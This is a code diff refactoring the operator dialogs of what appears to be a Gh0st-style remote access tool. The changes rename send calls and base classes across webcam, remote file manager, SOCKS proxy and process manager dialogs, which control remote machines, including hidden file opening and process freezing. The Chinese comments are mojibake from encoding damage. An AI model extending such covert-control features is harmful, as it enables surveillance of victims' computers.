BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
}
@@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
if (!bIsChecked)
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
break;
}
}

View File

@@ -163,7 +163,7 @@ class CVideoDlg : public DialogBase
DECLARE_DYNAMIC(CVideoDlg)
public:
CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CVideoDlg();
LPBITMAPINFO m_BitmapInfor_Full;

View File

@@ -24,7 +24,7 @@ static UINT indicators[] = {
using namespace file;
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File)
{
m_ProgressCtrl = nullptr;
@@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList()
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
BYTE bPacket = COMMAND_FILE_GETNETHOOD;
m_iocpServer->Send(m_ContextObject, &bPacket, 1);
m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1);
}
void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
@@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_FILE_GETINFO;
memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
}
return;
@@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
}
if (directory.Compare(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>")) == 0) {
BYTE byToken = COMMAND_FILE_RECENT;
m_iocpServer->Send(m_ContextObject, &byToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
return;
}
m_Remote_Path = directory;
@@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, directory);
@@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView()
void CFileManagerDlg::OnRemoteRecent()
{
BYTE byToken = COMMAND_FILE_RECENT;
m_iocpServer->Send(m_ContextObject, &byToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
}
void CFileManagerDlg::OnRemoteDesktop()
@@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob()
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
@@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
SendStop(TRUE);
else {
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
bToken[0] = COMMAND_CONTINUE;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
}
@@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile()
void CFileManagerDlg::SendException()
{
BYTE bBuff = COMMAND_FILE_EXCEPTION;
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendContinue()
{
BYTE bBuff = COMMAND_CONTINUE;
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
}
void CFileManagerDlg::SendStop(BOOL bIsDownload)
@@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload)
BYTE bBuff[2];
bBuff[0] = COMMAND_STOP;
bBuff[1] = bIsDownload;
m_iocpServer->Send(m_ContextObject, bBuff, sizeof(bBuff));
m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff));
}
void CFileManagerDlg::ShowProgress()
@@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode()
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
@@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData()
if (nNumberOfBytesRead > 0) {
int nPacketSize = nNumberOfBytesRead + nHeadLength;
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
@@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder()
LPBYTE lpBuffer = new BYTE[nPacketSize];
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
@@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete()
{
BYTE bBuff;
bBuff = COMMAND_FILE_NO_ENFORCE;
m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
OnRemoteDelete();
}
@@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce()
{
BYTE bBuff;
bBuff = COMMAND_FILE_ENFOCE;
m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
OnRemoteDelete();
}
@@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
lpPacket[1] = m_bUseAdmin;
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
lpPacket[1] = m_bUseAdmin;
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_FILE_INFO;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption()
lpPacket[0] = COMMAND_FILE_Encryption;
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt()
lpPacket[0] = COMMAND_FILE_Decrypt;
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile()
lpPacket[0] = COMMAND_FILE_CopyFile;
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
ShowMessage(_T("׼<EFBFBD><EFBFBD>ճ<EFBFBD><EFBFBD>"));
}
@@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_FILE_PasteFile;
memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip()
lpPacket[0] = COMMAND_FILE_zip;
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
ShowMessage(_T("<EFBFBD><EFBFBD>ʼѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>رմ<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
@@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip()
void CFileManagerDlg::OnRemotezipstop()
{
BYTE lpPacket = COMMAND_FILE_zip_stop;
m_iocpServer->Send(m_ContextObject, &lpPacket, 1);
m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1);
}
void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
@@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
m_iocpServer->Send(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
SAFE_DELETE_AR(lpbuffer);
SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
}
@@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress()
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
@@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch()
LPBYTE lpBuffer = new BYTE[nPacketSize];
lpBuffer[0] = COMMAND_SEARCH_FILE;
memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
SAFE_DELETE_AR(lpBuffer);
// <20><><EFBFBD>ð<EFBFBD>ť״̬
m_BtnSearch.SetWindowText(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>..."));
@@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop()
GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
// TODO: Add your command handler code here
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -92,7 +92,7 @@ namespace file {
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
bool id_search_result;
CStatusBar m_wndStatusBar;
CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
~CFileManagerDlg() {
m_bIsClosed = TRUE;
SAFE_DELETE(m_ProgressCtrl);

View File

@@ -14,14 +14,10 @@
#define IDM_PROXY_CHROME 8000
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
: CDialog(CProxyMapDlg::IDD, pParent)
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: CDialogBase(CProxyMapDlg::IDD, pParent, pIOCPServer, pContext, IDI_Proxifier)
{
m_iocpServer = pIOCPServer;
m_ContextObject = pContext;
m_iocpLocal = NULL;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
m_bIsClose = false;
}
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
@@ -87,24 +83,24 @@ BOOL CProxyMapDlg::OnInitDialog()
void CProxyMapDlg::OnCancel()
{
if (m_bIsClose) return;
m_bIsClosed = true;
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
m_iocpLocal->Shutdown();
SAFE_DELETE(m_iocpLocal);
m_bIsClose = true;
m_iocpServer->Disconnect(m_ContextObject);
DestroyIcon(m_hIcon);
m_iocpLocal->Shutdown();
SAFE_DELETE(m_iocpLocal);
CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket);
Sleep(50);
if (IsWindow(m_hWnd))
DestroyWindow();
CancelIO();
DialogBase::OnClose();
}
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
{
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
if (g_pProxyMap->m_bIsClose) return;
if (g_pProxyMap->m_bIsClosed) return;
DWORD index = pContext->ID;
TCHAR szMsg[200] = { 0 };
@@ -118,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
BYTE lpData[5] = "";
lpData[0] = COMMAND_PROXY_CLOSE;
memcpy(lpData + 1, &index, sizeof(DWORD));
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5);
}
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
break;
@@ -126,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
break;
case NC_RECEIVE:
if (pContext->m_bProxyConnected == 2) {
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
@@ -143,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20>׽<EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
in_addr inaddr = {};
inaddr.s_addr = *(DWORD*)(buf + 5);
char szmsg1[MAX_PATH];
@@ -156,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
memcpy(HostName + 1, &index, 4);
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
@@ -193,7 +189,7 @@ void CProxyMapDlg::OnReceiveComplete()
if (m_iocpLocal == NULL)
return;
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClosed)
return;
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
@@ -255,14 +251,14 @@ void CProxyMapDlg::OnReceiveComplete()
void CProxyMapDlg::AddLog(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
if (m_bIsClosed == TRUE) return;
m_Edit.SetSel(-1, -1);
m_Edit.ReplaceSel(lpText);
}
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
if (m_bIsClosed == TRUE) return;
m_EditOther.SetSel(-1, -1);
m_EditOther.ReplaceSel(lpText);
}
@@ -285,15 +281,6 @@ void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
m_Edit.MoveWindow(&rectEdit);
}
void CProxyMapDlg::PostNcDestroy()
{
if (!m_bIsClose)
OnCancel();
CDialog::PostNcDestroy();
delete this;
}
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);

View File

@@ -31,10 +31,10 @@ typedef struct {
} Socks5Info;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
class CProxyMapDlg : public CDialog
class CProxyMapDlg : public DialogBase
{
public:
CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
CProxyMapDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
enum { IDD = IDD_PROXY };
@@ -45,7 +45,6 @@ public:
void AddLog(TCHAR* lpText);
void AddLog_other(TCHAR* lpText);
virtual void DoDataExchange(CDataExchange* pDX);
virtual void PostNcDestroy();
virtual void OnCancel();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL OnInitDialog();
@@ -53,11 +52,7 @@ public:
DECLARE_MESSAGE_MAP()
private:
ClientContext* m_ContextObject;
ISocketBase* m_iocpServer;
CProxyConnectServer* m_iocpLocal;
HICON m_hIcon;
bool m_bIsClose;
CEdit m_Edit;
USHORT m_nPort;
CEdit m_EditOther;

View File

@@ -23,7 +23,7 @@ static UINT indicators[] = {
};
CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
CMachineDlg::CMachineDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE)
{
m_pMainWnd = (CMy2015RemoteDlg*)pParent;
@@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog()
AdjustList();
BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
m_iocpServer->Send(m_ContextObject, (LPBYTE)&lpBuffer, 1);
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1);
return TRUE;
}
@@ -333,7 +333,7 @@ void CMachineDlg::reflush()
int nID = m_tab.GetCurSel();
DeleteList();
BYTE TOKEN = MachineManager(nID);
m_iocpServer->Send(m_ContextObject, (LPBYTE)&TOKEN, 1);
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1);
}
@@ -800,7 +800,7 @@ void CMachineDlg::SendToken(BYTE bToken)
lpBuffer[0] = bToken;
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -878,7 +878,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -891,7 +891,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_KILL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -904,7 +904,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_FREEZING;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -917,7 +917,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_THAW;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -930,7 +930,7 @@ void CMachineDlg::ShowProcessList_menu()
lpBuffer[0] = COMMAND_PROCESS_DEL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -967,7 +967,7 @@ void CMachineDlg::ShowProcessList_menu()
DWORD wr = 0;
